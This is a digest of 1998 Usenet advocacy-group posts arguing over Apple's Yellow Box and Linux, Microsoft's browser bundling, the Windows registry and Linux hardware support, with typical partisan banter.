> jihad. The last thing I want to hear from Steve Jobs is a rehash of that 1984
> rhetoric. I refused to get involved with it when I was a mac user, I'm not
> going to get involved now.
I doubt Sun, Netsc...eh, AOL, IBM, Oracle, Corel and others are doing
it "for the sake of OpenSource jihad". Where did this sudden
(near-paranoid) antipathy towards any opensourcing come from?
Epilogue:
I'm a Mac user/owner and I've got Linux on my PC but Yellow Box isn't
available for either platform (although it might become available next
year or the year after that) and I've been largely interested in
hypothetical discussion on Yellow Box 'proliferation' (survival)
issues and where open sourcing might prove mutually beneficial to
Apple and... Linux. Call it tribalism or whatever, but I feel that
there is indeed resistance among the NeXT and Mac supporters
towards... something. Change? Losing the status as being the apple in
Apple's eyes? I dunno, but there would appear to be more scepticism
than support for opening YB and promoting it on platforms other than
those already under umbrella. Nothing can or should be done until Mac
OS X is released and even then it'd be wisest to wait and see whether
it would really be worth any effort at all. Pardon my slight
exaggeration (and it wasn't targeted at anyone in particular), but one
can only swim against the current for so long until the inevitable.
Maybe I burned out, maybe it's pre-Christmas depression, maybe my
ideas were simply dumb (probably all three and more), but I feel it's
time for me to join the passive crowds (Hi!) what comes to the subject
of mixing YB and Linux.
I apologise for any unintentional ruffling of feathers that may have
happened. (and I'm not saying this just to get more - or any -
christmas presents).
And thanks, Sal, for bearing with me. :-)
Cheers,
--
taiQ
[this space is going to be intentionally blank]
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <3682a138.16449992@news1.bway.net>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <36823c11.41939338@news1.bway.net> <1dkeotl.t2me8r1cg18eeN@tnt02dla090.escape.ca>
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NNTP-Posting-Date: Tue, 22 Dec 1998 08:47:12 EDT
Date: Tue, 22 Dec 1998 13:47:10 GMT
gbeggs@escape.ca (Gerry Beggs) said:
|-= G D T =- <root@anarchy.gov> wrote:
|
|> |Unlike Communicator, which takes up about a quarter of your screen
|> |with it's interface. What do I need all that crap for? It's just
|> |sitting there doing nothing most of the time. Microsoft decided to
|> |turn that dead screen space into useful space.
|>
|> Oh, let me add, Netscape had this fullscreen feature first almost a
|> year ago.
|
|Do you know how to get to full screen in Communicator 4.x?
|I remember it from 3.x, but It's either no longer there, or the command
|has changed.
|
|It used to be command-shift-A or something like that.
Sigh...I guess I'll have to look it up...ah here it is:
Run it with the commandline: netscape.exe -sk
Just worked here for Navigator 4.x, I would assume it works with the
full Communicator as well. It shows up w/o any of the panels open, so
you first have to activate some stuff with some keyboard shortcuts.
Also not sure if it will work on a Mac anymore.
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Tue, 22 Dec 1998 09:39:02 -0500
Organization: phenix@interpath.com
Message-ID: <1dkfmin.1w895em3q9e5tN@roxboro0-030.dyn.interpath.net>
References: <ngroups-0412980941310001@192.168.100.102> <DA8C8317810ACE6D.52E3CBE6A3A403BF.B6F6385006A0F42B@library-proxy.airnews.net> <74jju9$i82@newsb.netnews.att.com> <415586E9CC5F0AA3.31958F8911892252.C737F0B7A589C5BD@library-proxy.airnews.net> <FIiROLCWddLd-pn2-WGmnKTL0oIjw@localhost> <74niup$bvn@news1.panix.com> <FIiROLCWddLd-pn2-LWsXdFEDDP9C@localhost> <74q704$687@news1.panix.com> <FIiROLCWddLd-pn2-3djbN237fBdI@localhost> <74u640$bi9@news1.panix.com> <FIiROLCWddLd-pn2-J1dI0omPkFgd@localhost> <751dcq$a3k@news1.panix.com> <FIiROLCWddLd-pn2-WHpCoDpMpgYL@localhost> <757ft0$5or@news1.panix.com> <FIiROLCWddLd-pn2-EhFO2NqU6KYu@localhost> <75coq4$hfr@news1.panix.com> <FIiROLCWddLd-pn2-DoqXPF9384ZO@localhost> <367d485a.0@stan.astra.co.uk> <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> <F4BpBJ.4Cx@T-FCN.Net> <1dkdx6s.1navf1opxwvyN@roxboro0-013.dyn.interpath.net> <367f5fb3.0@stan.astra.co.uk>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
User-Agent: MacSOUP/2.4
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
> John Moreno wrote:
> > Maury Markowitz <maury@remove_this.istar.ca> wrote:
>
> > It's wait and see, because until MacOSX is shipping it's just more
> > vaporware, YB is a totally new framework for that vaporware.
> >
> Not at all; YB is an upgrade to the OPENSTEP frameworks which have been
> working very well as a commercial product for a couple of years.
I meant that for Mac programmers it's a totally new framework -- and
even keeping OS in mind it's still mainly a framework for vaporware as
the fate of any future market is uncertain.
--
John Moreno
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 22 Dec 98 15:23:46 GMT
Organization: P & L Systems
Message-ID: <367fb982.0@stan.astra.co.uk>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net>
<SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com>
<75lv4l$uie$1@bartlet.df.lth.se> <75m9mr$6n6$1@nnrp03.primenet.com>
Mime-Version: 1.0
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Cc: jjens@primenet.com
In <75m9mr$6n6$1@nnrp03.primenet.com> John Jensen wrote:
> : The nice packaging of
> : executable code and the resources associated with that code into bundles,
> : which is prevalent in the OpenStep / YellowBox world, means that a
> : multi-architecture binary is a very good solution to the problem: You
> : don't need to duplicate your resources, since those can be shared between
> : the different architectures; and the client would grab just that section
> : from the multi-architecture binary that it can execute.
>
> This is a bit different of a problem domain.
>
Why?
> Before we go into it we
> should ask what percentage of executables in the world are on shared disks
> and what percentage are on local disk?
>
No, we shouldn't. We should ask what percetage of executables *in the Unix,
or specifically OPENSTEP world* are on shared disks, since that's the
pertinent question. The answer to that is "considerably more than the 2% you
allow" -- I'd guess more than 75%.
> I'd estimate that 98% of all applications in-use are on a user's local
> disk.
>
On Windows, perhaps. Different problem domain.
> Those users are better served by single-format installations.
>
OK. So in the case of a local install you simply check a button at install
time to say "I only want binaries for the local system". Actually, using the
existing tools it would be a case of not checking a button to say you want
additional architecture support.
> A design should not burden the bulk of the users to satisfy a corner case.
>
It doesn't.
mmalc.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Tue, 22 Dec 1998 11:38:59 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981222113859164804@ts5-38.aug.com>
References: <3679789f.27413999@news2.asan.com> <75bud6$g2g$1@news.erinet.com> <distler-1712981602050001@cheshire.ph.utexas.edu> <75mpmk$am$1@fir.prod.itd.earthlink.net>
The Suarez Bunch <rasiel@earthlink.net> wrote:
> morally speaking, ms is in every right of integrating ie as close as it
> wants to within the os for better performance or whatever. windows is a de
> facto monopoly but nobody is twisting any arms here - you CAN go out and
> buy
Please. Microsoft first gave away the browser to harm Netscape. Then
they "integrated" the browser to make sure most people would use IE and
not Netscapes browser. It had nothing to do with consumer benefit.
> competing OSes. so bill's analogy of him being forced to include netscape
> on the win98 being as ridiculous as forcing coke to ship a pepsi can on
> every six-pack holds water. i would only have a problem if ms specifically
> tampered with code to ensure a certain product wouldn't run. this would be
> an unfair trade practice. and i do find fault in other areas (such as >
> strong
There have been several allegations about this very issue. Some
testified to in court.
> and while everyone whines about how awful microsoft is let's not be so
> cynical as to forget that all of this browser mess is done on behalf of
> another would-be monopoly. had it not been for them would the doj have
> gone to bat for any of the other browser makers insignificant though their
> market share is?
>
... what would be monopoly would this be? IIRC it is highly illegal for
the US to bering government lawsuits to benefit private concerns. ...
and what about the fact that 20 (now 19) separate States sued??
microsoft needs to be stopped. Stopped now and stopped hard.
> Ras
> rasiel@yahoo.com
> in hoc nominem puellae fornicat
--
Remove nojunk from my email address to reply by email.
From: jsheehy@ix.netcom.com (John Sheehy)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Sun, 20 Dec 1998 19:19:20 GMT
Organization: ICGNetcom
Message-ID: <36824c92.94524222@nntp.ix.netcom.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <MPG.10e7334ba3bdc70c989765@news.dircon.co.uk>
Mime-Version: 1.0
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jcmurphy@dircon.co.uk (John Murphy) wrote:
>IE4 is good, but has some braindead parts. The caching algorithm appears
>dubious, the history feature can lock up for ages and the search feature
>is fine, but only if you happen to live in North America.
If by the search feature, you mean entering just the part between the
"www." and the extension, one thing I dont like about it is that it puts
a partial, useless url in the history. For example, if I type "snap" in
the address box, if finds "http://www.snap.com", but it puts
"http://snap/" in the history, which fails if you select it.
--
<>>< ><<> ><<> <>>< ><<> <>>< <>>< ><<>
John P Sheehy <jsheehy@ix.netcom.com>
><<> <>>< <>>< ><<> <>>< ><<> ><<> <>><
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 07:31:15 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77veq3.529.jedi@dementia.mishnet>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net>
On Tue, 22 Dec 1998 12:31:44 +1100, Greg Alexander <galexand@ozemail.com.au> wrote:
>
>jedi@dementia.mishnet wrote in message ...
>>c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>>>They aren't--but the upper levels of OSX are "portable" so potentally
>>>>it could be put on top of Linux.
>>>
>>>"Potentially" it could be put on top of a PlayStation. The
>>>question is: who does it benefit? Not Apple, methinks.
>>
>> They benefit considerably. Linux users are the market they
>> lost becuase their machines were price competitive with new
>> pickup trucks and not other microcomputer hardware.
>
>
>In some ways yes, but mostly I disagree. I just don't see the people who
>want Macs selecting Linux because of the added _relative_ complexity.
The OS should be irrelevant in this case actually.
>
>> Like it or not, a PC user willing to give Linux a second look
>> is still the type most likely to do the same for Apple.
>
>
>This is very true. I'd guess though that those who use Linux do so for its
>stability and speed, as well as the open model. (I installed my first
>Linux (RH5.0) yesterday and it was pretty straight forward, but there were
>several "what the hell am I supposed to do now? Oh... type 'startX'!!!)
>
>If Apple _sold_ a GUI for Linux that gave access to Mac programs (including
>easily installing them!) there are many people who'd buy it. Until YB programs
>are more common (or Carbon portable), an AppleGUI would still be a good,
>clean interface to use Linux with (but would need X windows!)
>
>Apple benefits by selling more software, without the worry about drivers for
>the multitude of Intel hardware (though Monitor & monitor card are still important)
People are already handling that. There's simply no need for
Apple to get involved there, just as there would be no need
for that sort of thing with Be or WinDOS.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 22 Dec 1998 07:46:19 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77vfmb.529.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net> <36789560.910B6785@yahoo.net> <MPG.10e6328ec1f84c0e989752@news.dircon.co.uk> <slrn77oajo.69k.jedi@dementia.mishnet> <MPG.10e678385bac722398975d@news.dircon.co.uk> <slrn77qvog.c0a.jedi@dementia.mishnet> <MPG.10e8c3a295d9444f989786@news.dircon.co.uk> <367F6ADE.9BE4587@255.255.255.255>
On Tue, 22 Dec 1998 09:45:00 GMT, DrBoom <Everyone@255.255.255.255> wrote:
>John Murphy wrote:
>> In article <slrn77qvog.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
>> wrote...
>>
>> > So, can we assume from that that english is your second or
>> > tenth language?
>
>Ve iss der Grammar Gestapo, und ve haf schtrong effidence dot der jedi
>ist machen mit der schtinken predicates und artikles!
Seig Grammar!
>
>> > Being actually able to restore your backup is a rather important
>> > part of whatever disaster recovery you're trying to do.
>
>Ja, ja! Ve haf der close ties mit der Ministry of der Obvious
>Schtatement, und ve haf informed them of der violation of der
>jurisdiction.
If all obvious statements were completely obvious, there
would be no FAQs.
[deletia]
Your critique is fun and all and probably even entirely correct.
However, I wasn't being picky about his postings but the apparent
inability to interpret mine.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 09:22:38 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net>
>If Apple _sold_ a GUI for Linux that gave access to Mac programs (including
>easily installing them!) there are many people who'd buy it.
Linux users? I doubt it. It would be everyday Joe Wannbe-Hacker that
were unlikely to try Linux beforehand, and were either Windows or
Mac users(which happens to be Apple's target market with OS X/S.)
>Apple benefits by selling more software,
How much software does the Linux market *pay for*?
> without the worry about drivers for the multitude of Intel hardware
Then one must ask: Why Linux? Why not BSD? The whole premise of this
argument is flawed. I just don't see the benefit to Apple at this
time. Other than the hype and PR value. But that could as easily be
achieved with OpenMach.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 09:17:12 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2212980917120001@1cust184.tnt1.redmond.wa.da.uu.net>
> They benefit considerably. Linux users are the market they
> lost becuase their machines were price competitive with new
> pickup trucks and not other microcomputer hardware.
Really? You have some numbers to back this up? Or are you just
pulling this out of thin air? Wouldn't logic dictate that the
people they lost to other machines went to Windows. I hardly think
that the Linux croud are ex-Mac people.
> Like it or not, a PC user willing to give Linux a second look
> is still the type most likely to do the same for Apple.
Then they are most likely to give OS X for Intel a "second look" also.
What benefit would it be to Apple to give away the market to a social
movement? You seem to think Apple=Hardware, but at the same time you
want them to relinquish their software.
--
regards : colin hand : mailto:ch3@earthlink.net
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com>
Subject: Re: Really the Best Talent?
Date: Tue, 22 Dec 1998 14:48:41 -0500
Message-ID: <367ff5a6.0@news.deniz.com>
>So why was a loose
>community of volunteers able to do what (supposedly) the world's best
>programming talent was unable to do?
Uhhm, If Linux is so great, how come G++ template support basically sucks
and there is no namespaces? But I guess standards don't matter to the Unix
community..
:-)
From: "Steve Kimble" <skimble@iclretail.icl.com>
Subject: Re: M$: Really the Best Talent?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <367522b5.2689507@news2.asan.com> <913764365snz@vision25.demon.co.uk> <MPG.10e60701fb586232989747@news.dircon.co.uk> <slrn77o9p9.64l.jedi@dementia.mishnet> <MPG.10e71b905fecb937989761@news.dircon.co.uk> <slrn77qunn.c0a.jedi@dementia.mishnet> <MPG.10e8b5be1bcd55df989784@news.dircon.co.uk>
Message-ID: <01be2ddd$4a5b1ca0$f38014ac@REA24229>
Date: 22 Dec 98 18:55:52 GMT
A test of mental arithmetic for you all - if 3,000 people had read the
following, how many would have been dazzled by John's cleverness and how
many would have thought he's a complete (expletive deleted)?
John Murphy <jcmurphy@dircon.co.uk> wrote in article
<MPG.10e8b5be1bcd55df989784@news.dircon.co.uk>...
> In article <slrn77qunn.c0a.jedi@dementia.mishnet>, jedi@dementia.mishnet
> wrote...
>
> > No, this is what tcl is designed for, actually. VBA is more
> > than just a method for displaying new widgets to a user as
> > a rudimentary text would admit. Tk just happens to be the
> > gui bindings for tcl that would use for those aspects of
> > your code that are manipulating widgets.
>
> I would like to see you add a customised GUI to your email client. You
> can use Tcl, but not the Tk extension. Can you do that? It would be
> much simpler if you didn't view the world in black and white. Admitting
> that VBA is in fact a useful thing might add a bit of colour to your
> life, even if you chose not to use it.
>
> >>That's nice. Do you think the "(but automated)" part excludes Windows?
> >>(I'm presuming you're talking about a cron job.)
> >
> > From what I've heard of the Win9x automation facility so far, yes.
> > It certainly would exclude the common Win9x merely based on
> > complexity.
>
> That's what I thought you were getting at. Flirting around, here and
> there about something you've "heard".
>
> > Yes, I've used visual scripting enviroments for Windows before.
> > It was exposure to such scripting enviroments that gave me my
> > current level of respect for bash-ish solutions and disrespect
> > for NT and it's reliability.
>
> Visual scripting environments, bash, NT and reliability all in one go.
> Do you really think that what you write makes any sense whatsoever? It's
> pure rhetoric.
>
> > While it's nice to talk about the scripting capabilities of
> > Win9x or WinNT in the abstract, no one seems able to comment
> > on them in the concrete besides regurgitating marketing
> > literature.
>
> No one apart from you, that is.
>
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <36717987.21076075@news2.asan.com> <petrichF3z4KB.8uM@netcom.com> <KgAd2.393$eB2.831@news14.ispnews.com> <petrichF410LM.B7t@netcom.com> <petrichF4161I.KDB@netcom.com>
Subject: Re: Registry Synchronization?
Date: Tue, 22 Dec 1998 14:53:22 -0500
Message-ID: <367ff6be.0@news.deniz.com>
>
> Arrange the writing of Registry changes so that if it gets only
>partially done, it will not be left in some inconsistent or corrupted
>state. At worst, it would be left in its previous state.
>
> A way of doing it would be to create some conveniently-organized
>catalog in one part of the Registry, and write all changes outside the
>file blocks where the originals reside. Once those are written, one then
>writes the new catalog info in one request (should be easy if it is only
>one disk block).
Agreed, Loren. Actually, you would think that MS might bundle a stripped
down SQL Server or something and use that to be the registry. I should say
that the Registry is actually more stable if you take the whole NTFS plunge.
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 11:50:37 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77vu0d.6kl.jedi@dementia.mishnet>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <ch3-2212980917120001@1cust184.tnt1.redmond.wa.da.uu.net>
On Tue, 22 Dec 1998 09:17:12 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>> They benefit considerably. Linux users are the market they
>> lost becuase their machines were price competitive with new
>> pickup trucks and not other microcomputer hardware.
>
>Really? You have some numbers to back this up? Or are you just
>pulling this out of thin air? Wouldn't logic dictate that the
>people they lost to other machines went to Windows. I hardly think
>that the Linux croud are ex-Mac people.
All the users I know personally and a great deal of the
one's I know professionally only deal with WinTel as a
matter of market driven realities.
>
>> Like it or not, a PC user willing to give Linux a second look
>> is still the type most likely to do the same for Apple.
>
>Then they are most likely to give OS X for Intel a "second look" also.
>What benefit would it be to Apple to give away the market to a social
>movement? You seem to think Apple=Hardware, but at the same time you
>want them to relinquish their software.
Apple simply has no market to 'give away' any more. It
no longer has the leeway that can allow it to be as
isolationist and pompous as it has in the past.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: arc33@pantheon.yale.edu (Adrian Cybriwsky)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Date: 22 Dec 1998 20:38:14 GMT
Organization: Yale University
Message-ID: <75ovvm$bp5$1@news.ycc.yale.edu>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com> <slrn77suf7.ihs.jedi@dementia.mishnet> <75mcla$l15$1@news.ycc.yale.edu> <slrn77
tkc7.ksl.jedi@dementia.mishnet>
Distribution:
jedi@dementia.mishnet wrote:
: On 21 Dec 1998 20:56:09 GMT, Adrian Cybriwsky <arc33@pantheon.yale.edu> wrote:
: >jedi@dementia.mishnet wrote:
: >: On Mon, 21 Dec 1998 16:01:48 GMT, westprog@my-dejanews.com <westprog@my-dejanews.com> wrote:
: Comparitively speaking, it doesn't. Sticking your head
: in the sand is not going to change that.
well, i just checked my ears and they are sand-free. so perhaps you
are referring to my computer (and by association, a multitude of others).
indeed, perhaps my computer has its head in the sand to your charges,
because for the life of it for all practical purposes, it doesn't have
shared library problems anymore--and yes, this includes the machines that
i use for software development.
let's face it. shared library problems are becoming a thing of the past.
this was an engineering problem a while back and there were strategies that
did better or worse than others. but the problem is clearly solvable--and,
at least in the windows world, almost entirely solved. in the linux world,
in general it's less of a problem to begin with because shared libraries
in general are an affront to everybody's god given right to have inconsistent
uis, behaviors, apis, and so forth but the problems tend to be persistent
and unsolvable (ie "no, you just can't have that and that on the same
machine with such and such a kernel"). i have no doubt that it's getting
better under linux, but when you complain about windows shared library
problems, especially DLL issues, you must still be thinking it's 1991.
Message-ID: <36800D8E.470E9E22@255.255.255.255>
From: DrBoom <Nobody@255.255.255.255>
Organization: Usually lacking
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff4eb.0@news.deniz.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Date: Tue, 22 Dec 1998 21:19:04 GMT
NNTP-Posting-Date: Tue, 22 Dec 1998 13:19:04 PDT
Todd Bandrowsky wrote:
>
> >
> > Consider Linux -- the writers of the Halloween Documents had
> >conceded how high-quality it is. It has a reputation for being *much* more
> >stable than M$ OSes -- _on_the_same_hardware_.
>
> First off, I'd take exception to making the sweeping statement "Linux is
> more stable on the same hardware as Windows". In fact, I'd take exception
> to the statement, "Linux is more stable on the same hardware as Windows 98".
> Linux does not detect my mouse. Windows 98 does. Linux cannot support any
> of my graphics cards IN ACCELERATED MODE: Diamond Fire/GL 1000Pro, Diamond
> Stealth 220, and, it wasn't until two years after the Media GX shipped that
> Linux could support it at all. Linux doesn't know about my Plug and Play
> monitor serving X - that's really stupid. Nor does Linux have anything
> vaguely resembling the real time audio mixing and screen memory blitting
> services offered by Direct X. So, pretty much, all you Linux advocates are
> saying is that Linux is an operating system that might be stabler on less
> hardware because it can't use anything NEW.
Heh. Sure -- I have a Stealth 220, and M$'s other product (NT -- you may
have heard of it) doesn't do 3d acceleration with it... or if it does,
the setup process is worse than any *nix. I was really thrilled when I
replaced it with Voodoo2 and Matrox cards.... everything ran great until
I wanted to change color depth to 16-bit. After the idiotic but required
reboot, it complained about registry corruption..... hmmm.... re-reboot
to the backup, and *that* registry was hosed too. Nice work, Micro$oft.
This machine used to dual-boot NTW & win95..... Now it runs FreeBSD
almost full-time, except for when I wanna play Quake][ under win95 --
"Wintendo" is the best word I've yet seen to describe that pathetic OS.
Soon, I won't even have to do that.... 3DLabs chips work under X with
Q][ for Linux.
Oh, and another thing, try supporting a bunch of business clients who
run win95/98. Phear and loathing in userland......
[snip]
-j
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
Date: Tue, 22 Dec 1998 13:04:14 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn7802ae.72v.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff4eb.0@news.deniz.com>
On Tue, 22 Dec 1998 14:45:34 -0500, Todd Bandrowsky <tbandrowsky@del.net> wrote:
>>
>> Consider Linux -- the writers of the Halloween Documents had
>>conceded how high-quality it is. It has a reputation for being *much* more
>>stable than M$ OSes -- _on_the_same_hardware_.
>
>First off, I'd take exception to making the sweeping statement "Linux is
>more stable on the same hardware as Windows". In fact, I'd take exception
>to the statement, "Linux is more stable on the same hardware as Windows 98".
>Linux does not detect my mouse. Windows 98 does. Linux cannot support any
...must be an interesting mouse...
>of my graphics cards IN ACCELERATED MODE: Diamond Fire/GL 1000Pro, Diamond
>Stealth 220, and, it wasn't until two years after the Media GX shipped that
Linux has nothing to do with it: Xfree does & that's not the
only X server available.
[gaming related deletia]
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
